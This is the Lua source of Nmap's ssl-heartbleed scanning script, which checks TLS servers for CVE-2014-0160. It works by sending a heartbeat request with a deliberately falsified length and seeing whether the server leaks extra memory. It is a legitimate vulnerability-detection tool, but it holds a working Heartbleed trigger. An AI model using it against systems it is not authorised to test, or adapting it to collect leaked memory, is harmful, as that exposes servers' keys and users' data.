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local match = require('match')
local nmap = require('nmap')
local shortport = require('shortport')
local sslcert = require('sslcert')
local stdnse = require('stdnse')
local string = require "string"
local tableaux = require "tableaux"
local vulns = require('vulns')
local have_tls, tls = pcall(require,'tls')
assert(have_tls, "This script requires the tls.lua library from https://nmap.org/nsedoc/lib/tls.html")
description = [[
Detects whether a server is vulnerable to the OpenSSL Heartbleed bug (CVE-2014-0160).
The code is based on the Python script ssltest.py authored by Katie Stafford (katie@ktpanda.org)
]]
---
-- @usage
-- nmap -p 443 --script ssl-heartbleed <target>
--
-- @output
-- PORT STATE SERVICE
-- 443/tcp open https
-- | ssl-heartbleed:
-- | VULNERABLE:
-- | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
-- | State: VULNERABLE
-- | Risk factor: High
-- | Description:
-- | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
-- |
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
-- | http://www.openssl.org/news/secadv_20140407.txt
-- |_ http://cvedetails.com/cve/2014-0160/
--
--
-- @args ssl-heartbleed.protocols (default tries all) TLS 1.0, TLS 1.1, or TLS 1.2
--
author = "Patrik Karlsson <patrik@cqure.net>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = { "vuln", "safe" }
dependencies = {"https-redirect"}
-- TLSv1.3 was not implemented by affected versions of OpenSSL.
local arg_protocols = stdnse.get_script_args(SCRIPT_NAME .. ".protocols") or {'TLSv1.0', 'TLSv1.1', 'TLSv1.2'}
portrule = function(host, port)
return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
end
local function recvhdr(s)
local status, hdr = s:receive_buf(match.numbytes(5), true)
if not status then
stdnse.debug3('Unexpected EOF receiving record header - server closed connection')
return
end
local typ, ver, ln = string.unpack('>B I2 I2', hdr)
return status, typ, ver, ln
end
local function recvmsg(s, len)
local status, pay = s:receive_buf(match.numbytes(len), true)
if not status then
stdnse.debug3('Unexpected EOF receiving record payload - server closed connection')
return
end
return true, pay
end
local function testversion(host, port, version)
local hello = tls.client_hello({
["protocol"] = version,
-- Claim to support every cipher
-- Doesn't work with IIS, but IIS isn't vulnerable
["ciphers"] = tableaux.keys(tls.CIPHERS),
["compressors"] = {"NULL"},
["extensions"] = {
-- Claim to support common elliptic curves
["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](tls.DEFAULT_ELLIPTIC_CURVES),
["heartbeat"] = "\x01", -- peer_not_allowed_to_send
},
})
local payload = "Nmap ssl-heartbleed"
local hb = tls.record_write("heartbeat", version, string.pack("B>I2",
1, -- HeartbeatMessageType heartbeat_request
0x4000) -- payload length (falsified)
-- payload length is based on 4096 - 16 bytes padding - 8 bytes packet
-- header + 1 to overflow
.. payload -- less than payload length.
)
local status, s, err
local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
if specialized then
status, s = specialized(host, port)
if not status then
stdnse.debug3("Connection to server failed: %s", s)
return
end
else
s = nmap.new_socket()
status, err = s:connect(host, port)
if not status then
stdnse.debug3("Connection to server failed: %s", err)
return
end
end
s:set_timeout(5000)
-- Send Client Hello to the target server
status, err = s:send(hello)
if not status then
stdnse.debug1("Couldn't send Client Hello: %s", err)
s:close()
return nil
end
-- Read response
local done = false
local supported = false
local i = 1
local response
repeat
status, response, err = tls.record_buffer(s, response, i)
if err == "TIMEOUT" then
-- Timed out while waiting for server_hello_done
-- Could be client certificate required or other message required
-- Let's just drop out and try sending the heartbeat anyway.
done = true
break
elseif not status then
stdnse.debug1("Couldn't receive: %s", err)
s:close()
return nil
end
local record
i, record = tls.record_read(response, i)
if record == nil then
stdnse.debug1("Unknown response from server")
s:close()
return nil
elseif record.protocol ~= version then
stdnse.debug1("Protocol version mismatch")
s:close()
return nil
end
if record.type == "handshake" then
for _, body in ipairs(record.body) do
if body.type == "server_hello" then
if body.extensions and body.extensions["heartbeat"] == "\x01" then
supported = true
end
elseif body.type == "server_hello_done" then
stdnse.debug1("we're done!")
done = true
end
end
end
until done
if not supported then
stdnse.debug1("Server does not support TLS Heartbeat Requests.")
s:close()
return nil
end
status, err = s:send(hb)
if not status then
stdnse.debug1("Couldn't send heartbeat request: %s", err)
s:close()
return nil
end
while(true) do
local status, typ, ver, len = recvhdr(s)
if not status then
stdnse.debug1('No heartbeat response received, server likely not vulnerable')
break
end
if typ == 24 then
local pay
status, pay = recvmsg(s, 0x0fe9)
s:close()
if #pay > 3 then
return true
else
stdnse.debug1('Server processed malformed heartbeat, but did not return any extra data.')
break
end
elseif typ == 21 then
stdnse.debug1('Server returned error, likely not vulnerable')
break
end
end
end
action = function(host, port)
local vuln_table = {
title = "The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
description = [[
OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
]],
references = {
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160',
'http://www.openssl.org/news/secadv_20140407.txt ',
'http://cvedetails.com/cve/2014-0160/'
}
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local test_vers = arg_protocols
if type(test_vers) == 'string' then
test_vers = { test_vers }
end
for _, ver in ipairs(test_vers) do
if nil == tls.PROTOCOLS[ver] then
return "\n Unsupported protocol version: " .. ver
end
local status = testversion(host, port, ver)
if ( status ) then
vuln_table.state = vulns.STATE.VULN
break
end
end
return report:make_output(vuln_table)
end
|
